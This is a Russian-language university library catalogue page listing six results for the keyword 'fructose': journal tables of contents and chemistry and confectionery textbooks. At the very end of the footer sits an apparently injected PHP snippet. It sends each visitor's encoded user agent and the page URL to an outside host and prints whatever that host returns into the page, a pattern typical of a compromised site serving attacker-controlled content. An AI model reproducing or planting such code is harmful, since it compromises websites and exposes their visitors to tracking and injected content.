Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

120 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=фруктоза")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 6
1. 
Химия и жизнь - XXI век. - Журнал, 2010г. № 3
Оглавление 
  • Лазер и клонирование. - с.2
  • Вода реагирует на космические лучи. - с.2-3
  • Интернет-домены как индикатор экономического развития. - с.3
  • Клещенко, Е. Живое из неживого / Е. Клещенко. - с.4-7
  • Максименко, О. О. Лекарство с доставкой / О. О. Максименко. - с.8-12
  • Макаршин, Л. Л. Микрореакторы / Л. Л. Макаршин. - с.14-18
  • Корнилов, М. Ю. Гроверу и не снилось / М. Ю. Корнилов. - с.19
  • Терехов, А. И. Измерение нанотехнологий / А. И. Терехов. - с.20-23
  • Комаров, С. М. Трудности моделирования / С. М. Комаров. - с.24
  • Комаров, С. М. Фтор-защитник / С. М. Комаров. - с.24
  • Комаров, С. М. Канарские вулканы / С. М. Комаров. - с.24
  • Комаров, С. М. Вышибание электронов ионом / С. М. Комаров. - с.24
  • Комаров, С. М. Хеликобактер-воспалитель / С. М. Комаров. - с.25
  • Комаров, С. М. Золото от рака / С. М. Комаров. - с.25
  • Комаров, С. М. "Голодного микроб не тронет" / С. М. Комаров. - с.25
  • Комаров, С. М. Мгновенное замораживание / С. М. Комаров. - с.25
  • Котина, Е. Итоги свиного гриппа / Е. Котина. - с.26-31
  • Каравосов, В. Т. Альтернатива курению - выгода для народа, хлеб для химиков / В. Т. Каравосов. - с.32
  • Андрианов, Б. В. Как улучшить соболя, или с чего начать селекцию / Б. В. Андрианов. - с.34-37
  • Афонников, Д. А. Адаптация к бездне / Д. А. Афонников, К. В. Гунбин, В. В. Суслов. - с.38-41
  • Фруктоза: за и против. - с.42-43
  • Ищем крахмал и витамин С. - с.43
  • Язев, С. А. Откуда дровишки? / С. А. Язев. - с.44-47
  • Яшин, Я. И. Банк данных антиоксидантов / Я. И. Яшин, А. Я. Яшин. - с.49-50
  • Ручкина, Н. Олива, она же маслина / Н. Ручкина. - с.52-53
  • Гофри, Ю. Белая кошка в черную клетку / Ю. Гофри. - с.56-61
Держатели документа (Информация об экземплярах) 
2. 
Химия и жизнь - XXI век. - Журнал, 2010г. № 9
Оглавление 
  • Мац, А. Н. Антипрививочные вымыслы / А. Н. Мац. - с.2-7
  • Дубинов, А. Е. Как сшить плащ-невидимку / А. Е. Дубинов, Л. А. Матырева. - с.8-11
  • Чешлиньска, И. Лекарство от глобализации / И. Чешлиньска. - с.13-17
  • Андреев, А. В. Заметки профессора / А. В. Андреев. - с.18-21
  • Котина, Е. Рожденные после Чернобыля... / Е. Котина, А. Мотыляев. - с.22
  • Котина, Е. Как вырастить сорбент / Е. Котина, А. Мотыляев. - с.22-23
  • Котина, Е. Потепление согреет северян / Е. Котина, А. Мотыляев. - с.23
  • Акасов, Р. От кефира до съедобной упаковки / Р. Акасов. - с.24-27
  • Комаров, С. М. Импульс недовольства / С. М. Комаров. - с.28
  • Комаров, С. М. Шаги робототехники / С. М. Комаров. - с.28
  • Комаров, С. М. Управа на комаров / С. М. Комаров. - с.28
  • Комаров, С. М. Игры с квантами энергии / С. М. Комаров. - с.28
  • Комаров, С. М. Фруктоза глюкозе рознь / С. М. Комаров. - с.28
  • Комаров, С. М. Происхождение мелких пауков / С. М. Комаров. - с.28
  • Комаров, С. М. Шипы из оксида цинка / С. М. Комаров. - с.29
  • Комаров, С. М. Темный секрет солнца / С. М. Комаров. - с.29
  • Комаров, С. М. Загадка холеры / С. М. Комаров. - с.29
  • Фридман, В. С. Интеллект: среда или гены / В. С. Фридман, М. В. Фридман. - с.30-35
  • Акасов, Р. Чем пахнут грибы? / Р. Акасов, Л. Стрельникова. - с.36
  • Акасов, Р. Тяжелая пища / Р. Акасов, Л. Стрельникова. - с.36-37
  • Акасов, Р. Самовозгорание / Р. Акасов, Л. Стрельникова. - с.37
  • Резник, Н. Л. Когда голова далеко от сердца / Н. Л. Резник. - с.38-41
  • Лясота, Е. "Я люблю свой остеохондроз" / Е. Лясота. - с.42-43
  • Лясота, Е. "Плохая экология" и хороший учебник / Е. Лясота. - с.43
  • Марков, А. Великий симбиоз / А. Марков. - с.44-48
  • Комаров, С. М. Игры оптиков / С. М. Комаров. - с.50-51
  • Ручкина, Н. Ячмень / Н. Ручкина. - с.52-53
  • Истратова, И. Золотое колесо / И. Истратова. - с.55-60
  • Анофелес, С. Чепуха, зато бесплатно / С. Анофелес. - с.62
  • Мотыляев, А. Думай головой, а не сердцем / А. Мотыляев. - с.63
  • Демина, М. Чугун: от "чушки" до кружева / М. Демина. - с.64-65
Держатели документа (Информация об экземплярах) 
3. 
Четверикова, Ольга Петровна. Сырье и ингредиенты хлебопекарного и кондитерского производства [Текст] / О. П. Четверикова, 2018. - 666 с.
Ключевые слова 
СПРАВОЧНИК -- ПШЕНИЧНАЯ -- МУКА -- РЖАНАЯ -- КРУПА -- ХЛОПЬЯ -- САХАР -- СИРОП -- ПАТОКА -- ГЛЮКОЗА -- ДЕКСТРОЗА -- ФРУКТОЗА -- ЛАКТОЗА -- МЕД -- ЖИР -- МАСЛО -- ВОДА -- ДРОЖЖИ -- ЗАКВАСКА -- МОЛОКО -- ТВОРОГ -- ИЗОЛЯТ -- ЯЙЦО -- КРАХМАЛ -- ПОДСЛАСТИТЕЛЬ -- САХАРОЗАМЕНИТЕЛЬ -- РАЗРЫХЛИТЕЛЬ -- УЛУЧШИТЕЛЬ -- ФЕРМЕНТ -- КЛЕЙКОВИНА -- БЕЛОК -- СОЛЬ -- ЭМУЛЬГАТОР -- АНТИОКСИДАНТ -- ГИДРОКОЛЛОИДЫ -- ПИЩЕВОЕ -- ВОЛОКНО -- КЛЕТЧАТКА -- ФРУКТЫ -- ЯГОДЫ -- СУХОФРУКТЫ -- ЦУКАТЫ -- ОРЕХ -- КУНЖУТ -- СОЛОД -- КАКАО -- КРАСИТЕЛЬ
Держатели документа (Информация об экземплярах) 
4. 
Скрипко, Тамара Васильевна. Химия биологически активных веществ [Текст] / Т. В. Скрипко, 2016. - 130 с.
Оглавление 
Держатели документа (Информация об экземплярах) 

В практикум включены лабораторные работы по биополимерам и биорегуляторам. Уделено внимание номенклатуре, строению, классификации, физико-химическим свойствам аминокислот, белков, липидов; роли ферментов, углеводов, витаминов; регулярному влиянию гормонов на метаболизм в организме.

Практикум соответствует основной образовательной программе направления подготовки бакалавров "Биотехнология". Будет полезен студентам, магистрантам и аспирантам, изучающим органическую и биологическую химию.

Полный текст
5. 
Бондаревская И. Н. Химия [Текст] / И. Н. Бондаревская, 2016. - 142 с.
Ключевые слова 
РАБОТА ЛАБОРАТОРНАЯ - ХИМИЯ -- ПРАВИЛА ТЕХНИКИ БЕЗОПАСНОСТИ -- ТЕХНИКА БЕЗОПАСНОСТИ -- ЛАБОРАТОРИЯ ХИМИЧЕСКАЯ -- ПОСУДА ЛАБОРАТОРНАЯ -- ПРИБОР НАГРЕВАТЕЛЬНЫЙ -- ЖЕСТКОСТЬ ВОДЫ -- ЖЕЛЕЗО - ПИТАНИЕ -- СИСТЕМА ДИСПЕРСНАЯ -- pH - СРЕДА -- КИСЛОТА - ХИМИЯ -- ЩЕЛОЧЬ - ХИМИЯ -- СКОРОСТЬ РЕАКЦИИ - ХИМИЯ -- РЕАКЦИЯ ХИМИЧЕСКАЯ -- РАВНОВЕСИЕ ХИМИЧЕСКОЕ -- ЭЛЕКТРОЛИТ -- СОЕДИНЕНИЕ НЕМЕТАЛЛОВ -- УГЛЕРОД -- ВОДОРОД -- МЕТАН -- ЭТИЛЕН -- СПИРТ -- АЛЬДЕГИД -- КЕТОН -- КИСЛОТА КАРБОНОВАЯ -- ЭФИР -- ЖИРЫ - ХИМИЯ -- МЫЛО - ХИМИЯ -- ГЛЮКОЗА -- ФРУКТОЗА -- САХАРОЗА -- КРАХМАЛ - ХИМИЯ -- БЕЛОК - ХИМИЯ -- МОЛОКО - ХИМИЯ -- ПОЛИМЕР -- ВИТАМИН -- КИСЛОТА САЛИЦИЛОВАЯ -- СОЕДИНЕНИЕ ОРГАНИЧЕСКОЕ -- РАСТВОРИМОСТЬ КИСЛОТ -- РАСТВОРИМОСТЬ СОЛЕЙ -- СИСТЕМА ПЕРИОДИЧЕСКАЯ
Держатели документа (Информация об экземплярах) 
6. 
Шестакова Т. И. Кондитер-профессионал [Текст] : учеб. пособие / Т. И. Шестакова, 2006. - 399 с.
Ключевые слова 
МУКА ПШЕНИЧНАЯ -- МУКА СОЕВАЯ -- МУКА кукурузная -- КРАХМАЛ -- глюкоза -- фруктоза -- ПОДСЛАСТИТЕЛЬ -- патока крахмальная -- МЕД -- МОЛОКО -- ПРОДУКТЫ МОЛОЧНЫЕ -- МАСЛО СЛИВОЧНОЕ -- ЖИРЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ПРОДУКТЫ ВКУСОВЫЕ -- КИСЛОТА ПИЩЕВАЯ -- ВЕЩЕСТВА АРОМАТИЧЕСКИЕ -- РАЗРЫХЛИТЕЛЬ -- ФРУКТЫ -- ЦУКАТЫ -- КРУПА -- ОРЕХИ -- МАК -- УЛУЧШИТЕЛЬ хлебобулочных изделий -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- СЛИВКИ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ФАРШ -- ТЕСТО дрожжевое -- КУЛИЧИ -- БАБА РОМОВАЯ -- ТЕСТО бездрожжевое -- ВАТРУШКА -- ТЕСТО ПРЯНИЧНОЕ -- ТЕСТО ПЕСОЧНОЕ -- БИСКВИТ -- ТЕСТО ЗАВАРНОЕ -- ТЕСТО СЛОЕНОЕ -- волованы -- ФРИТЮР -- ПЕЧЕНЬЕ -- КЕКС -- ПИЦЦА -- СЛАДОСТИ ВОСТОЧНЫЕ -- СИРОП -- помадка -- ГЛАЗУРИ -- мастика -- КАРАМЕЛЬ -- кандир для сахарных фигур -- грильяж -- ЖЕЛЕ -- марципан -- ШОКОЛАД -- посыпки -- КРЕМ -- ПИРОЖНЫЕ -- ТОРТЫ
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2997 - 24.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.82 с.16 запросов, 0.51c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;